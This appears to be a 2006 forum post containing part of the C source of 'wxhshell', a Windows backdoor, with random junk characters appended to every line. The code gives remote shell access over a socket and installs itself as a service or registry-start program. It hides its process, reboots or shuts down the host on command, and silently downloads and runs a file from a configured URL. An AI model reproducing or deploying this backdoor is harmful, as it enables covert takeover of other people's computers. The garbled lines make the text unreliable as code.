  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Em~>9f ?Q(  
  } Y9XEP7  
  else { Ao&"r[oJSv  
YNsJZnGr8#  
    switch(cmd[0]) { oj+hQ+>  
  hZt!/?dc  
  // 帮助 Bh-ym8D  
  case '?': { %:* YO;dw'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :& ."ttf=  
    break; 8[{ Vu0R  
  } @GW #&\yM  
  // 安装 g}(L;fy>7  
  case 'i': { =]0&i]z[.  
    if(Install()) Se =`N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BR;D@R``}  
    else t'k$&l}+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3AN/ H  
    break; XUuN )i  
    } $*=<Yw4  
  // 卸载 bY~pc\V:`w  
  case 'r': { PALc;"]O  
    if(Uninstall()) oe-\ozJ0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0oIe> r  
    else {;6`_-As%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &6nWzF  
    break; ~oY^;/ j  
    } \z(gqkc 6  
  // 显示 wxhshell 所在路径 ?^\|-Gr  
  case 'p': { sD#.Oq4&]y  
    char svExeFile[MAX_PATH]; .U]-j\  
    strcpy(svExeFile,"\n\r"); 49HZ2`Y  
      strcat(svExeFile,ExeFile); ^Xh^xL2cn  
        send(wsh,svExeFile,strlen(svExeFile),0); -PR N:'T  
    break; v mk2{f,g  
    } '?(% Zxw%&  
  // 重启 w ;^ra<*<+  
  case 'b': { 86F1.ve  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >tW#/\x{  
    if(Boot(REBOOT)) sLxc(d'A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o|["SYIf  
    else { gc$l^`+M  
    closesocket(wsh); O3kA;[f;  
    ExitThread(0); JDT`C2-Q  
    } X45%e!  
    break; `3&v6  
    } r mg}N  
  // 关机 7J<5f)  
  case 'd': { QhJiB%M  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8 v%o,"  
    if(Boot(SHUTDOWN)) Wvf ^N(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c\AfaK^KF  
    else { ;u)I\3`*!  
    closesocket(wsh); [ v*ju!  
    ExitThread(0); 1yu4emye4  
    } [`7ThHX  
    break; 20Wg=p9L  
    } B^^#D0<  
  // 获取shell }-=|^  
  case 's': { Uz]|N6`  
    CmdShell(wsh); YNi.SXH  
    closesocket(wsh); vy I!]p  
    ExitThread(0); }&D32\  
    break; U-M>=3|N  
  } +52{-a,>  
  // 退出 -nV9:opD  
  case 'x': { {_v#~595  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); pFjK}J OF  
    CloseIt(wsh); }*]-jWt1J\  
    break; 1iF1GkLEq  
    } pYf-S?Y/V  
  // 离开 =D"#U#>;7&  
  case 'q': { {R `[kt  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); h@ry y\9  
    closesocket(wsh); EXqE~afm2  
    WSACleanup(); }0Ed ]  
    exit(1); CzrC%xy  
    break; |&i<bqLw:  
        } {"KMs[M  
  } 7-fb.V9  
  } }@d@3  
&Au@S$ij  
  // 提示信息 }k.Z~1y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ncT&Gr   
} '6%2.[ o  
  } `e}B2;$A3  
8YSAf+{FtK  
  return; X#^[<5  
} Slc\&Eb  
om:VFs\U  
// shell模块句柄 "VMz]ybi^  
int CmdShell(SOCKET sock) nAlQ7 '  
{ KVa  
STARTUPINFO si; bV3|6]k^  
ZeroMemory(&si,sizeof(si)); Pa: |_IXA  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; FfT`;j  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Wmv#:U  
PROCESS_INFORMATION ProcessInfo; SXP]%{@ R/  
char cmdline[]="cmd"; am6L8N  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); iDqoa\  
  return 0; U|R_OLWAg  
} S{T >}'y  
]3Sp W{=^(  
// 自身启动模式 |M;7>'YNC*  
int StartFromService(void) =[7Av>  
{ 8zW2zkv2|#  
typedef struct =41?^1\  
{ <lJ345Q  
  DWORD ExitStatus; l9Q- iJ  
  DWORD PebBaseAddress; ~})e?q;b  
  DWORD AffinityMask; (X*^dO  
  DWORD BasePriority; M kXmA`cP  
  ULONG UniqueProcessId; Y(Hs#Kn{  
  ULONG InheritedFromUniqueProcessId; 'PW5ux@`<  
}   PROCESS_BASIC_INFORMATION; *.w 9c  
Z6MO^_m2  
PROCNTQSIP NtQueryInformationProcess; !0<,@v"  
+X 88;-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; yyTnL 2Y9  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]u/sphPe  
h^P#{W!e\  
  HANDLE             hProcess; 1<aP92/N&  
  PROCESS_BASIC_INFORMATION pbi; g2Z`zQA7  
}3WxZv]I}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); aV0"~5  
  if(NULL == hInst ) return 0; cQ}{[YO  
+^F Zq$NP  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "qy,*{~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +k R4E23:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); qwAT>4  
&m;*<}X  
  if (!NtQueryInformationProcess) return 0; Bdpy:'fJn  
l,aay-E  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); V0a3<6@4  
  if(!hProcess) return 0; aw&,S"A@  
<qt|d&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +R75v)  
)NT*bLRPQ  
  CloseHandle(hProcess); +R:(_:7  
1s;S aq+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); * kh tJ]=  
if(hProcess==NULL) return 0; 6j|{`Zd)G  
)%fH(ns(  
HMODULE hMod; 7tCw*t$  
char procName[255]; goWuw}?  
unsigned long cbNeeded; 2y1Sne=<Kb  
lr&a;aZp  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); V>rU.Mp QU  
VuZr:-K/  
  CloseHandle(hProcess); %E;'ln4h&,  
_7y[B&g[r  
if(strstr(procName,"services")) return 1; // 以服务启动 yEy6]f+>+  
\o3gKoL%  
  return 0; // 注册表启动 m+$VVn3Z}  
} K wVbbC3  
t"I77aZ$A  
// 主模块 8zq=N#x  
int StartWxhshell(LPSTR lpCmdLine) *|HY>U.  
{ eS){1  
  SOCKET wsl; Lu%b9Jk  
BOOL val=TRUE; G=bCNn<  
  int port=0; [()koU#w.  
  struct sockaddr_in door; u9p$YJ  
j![\& z  
  if(wscfg.ws_autoins) Install(); ql~J8G9  
%J-GKpo/S  
port=atoi(lpCmdLine); >y+B  
F_P~x(X  
if(port<=0) port=wscfg.ws_port; 3o/[t  
:[d9tm  
  WSADATA data;  /G`]=@~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  ZWm6eD  
xN'I/@ kb  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   a?oI>8*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &uVnZ@o42  
  door.sin_family = AF_INET; h Xya*#n#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5#z1bu  
  door.sin_port = htons(port); w&.a QGR#  
M D#jj3y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { AQ^u   
closesocket(wsl); a$fnh3j[  
return 1; #T"4RrR  
} :Llb< MY2  
)QJUUn#  
  if(listen(wsl,2) == INVALID_SOCKET) { V|R,!UND  
closesocket(wsl); (^>J&[=  
return 1; B`sAk %  
} ?gXp*>Kg[  
  Wxhshell(wsl); a,o*=r  
  WSACleanup(); pTuS*MYz  
/g.U&oI]D  
return 0; ksm~<;td  
,`sv1xwd  
} UC$ppTCc?  
yWf`rF{  
// 以NT服务方式启动 zKK9r~ M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) b~cZS[S  
{ l%=;  
DWORD   status = 0; MpOc  
  DWORD   specificError = 0xfffffff; V]?R>qhgu  
l}P=/#</T  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |1Z)E+q*:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3__-nV  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /zox$p$?h  
  serviceStatus.dwWin32ExitCode     = 0; EiaW1Cs  
  serviceStatus.dwServiceSpecificExitCode = 0; wdoR%b{M  
  serviceStatus.dwCheckPoint       = 0; qxJ\ye+'*  
  serviceStatus.dwWaitHint       = 0; dD@(z: 5M\  
J9 I:Q<;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *=xr-!MEk  
  if (hServiceStatusHandle==0) return; GKeU%x  
4 H&#q>  
status = GetLastError(); DW3G  
  if (status!=NO_ERROR) og>uj>H&  
{ 4I(Xy]wm  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; CNx8] _2  
    serviceStatus.dwCheckPoint       = 0; BL4-7  
    serviceStatus.dwWaitHint       = 0; -7|H}!DFT  
    serviceStatus.dwWin32ExitCode     = status; |V7*l1  
    serviceStatus.dwServiceSpecificExitCode = specificError; 4b`=>X;W  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .eC1qWZJpd  
    return; UL9n-M =  
  } ,]/X\t5]D  
TJ*T:?>e  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;9'OOz|+1  
  serviceStatus.dwCheckPoint       = 0; . 'yCw#f  
  serviceStatus.dwWaitHint       = 0; $`'/+x"%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ABYcH]m  
} :2)/FPL6  
d0 /#nz  
// 处理NT服务事件,比如:启动、停止 Z #m+ObHK1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (Awm9|.{+  
{ G]aOHJ:.  
switch(fdwControl) kvj#c  
{ U`s{Jm  
case SERVICE_CONTROL_STOP: 3=;<$+I6  
  serviceStatus.dwWin32ExitCode = 0; R/a*LSe@&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (4-CF3D  
  serviceStatus.dwCheckPoint   = 0; CTA 3*Gn  
  serviceStatus.dwWaitHint     = 0; ( uidNq  
  { )=-szJjXZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q" 5(H5  
  } S`]k>' l  
  return; a-J.B.A$Z/  
case SERVICE_CONTROL_PAUSE: Yz93'HDB  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [1H^3g '  
  break; -|9=P\U8S  
case SERVICE_CONTROL_CONTINUE: \lNN Msd&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; M"To&?OI  
  break; |e0`nn=  
case SERVICE_CONTROL_INTERROGATE: /_ajaz%  
  break; K"@M,8hb  
}; eJ81-!)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h zn6kbv  
} Ssg&QI  
YZJyk:H\  
// 标准应用程序主函数 9-m=*|p  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) GsM<2@?  
{ ^LzF@{ G  
_h1mF<\ X^  
// 获取操作系统版本 7Fsay+a  
OsIsNt=GetOsVer(); @9|hMo  
GetModuleFileName(NULL,ExeFile,MAX_PATH); PeEj&4k  
)Xyn q(  
  // 从命令行安装 Yz)qcU  
  if(strpbrk(lpCmdLine,"iI")) Install(); J<lO= +mg  
oe~b}:  
  // 下载执行文件 f(7GX3?  
if(wscfg.ws_downexe) { ~flV`wy$$1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Fv`,3aNB  
  WinExec(wscfg.ws_filenam,SW_HIDE); sW8dPw O  
} "tpSg  
`5Zz5V  
if(!OsIsNt) { T^]}Oy@e,J  
// 如果时win9x,隐藏进程并且设置为注册表启动 Z;)%%V%o  
HideProc(); B4 }bVjs  
StartWxhshell(lpCmdLine); he hFEyx  
} vs{s_T7Mz]  
else R0-j5&^jju  
  if(StartFromService()) lU8Hd|@-  
  // 以服务方式启动 b5n'=doR/I  
  StartServiceCtrlDispatcher(DispatchTable); a7%]Y}$  
else |]*/R^1>2  
  // 普通方式启动 ;i+#fQO7Q  
  StartWxhshell(lpCmdLine); 8DaL,bi*.  
^sWT:BDh  
return 0; o2\8OxcA  
}
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只看该作者 1 发表于: 2006-10-10
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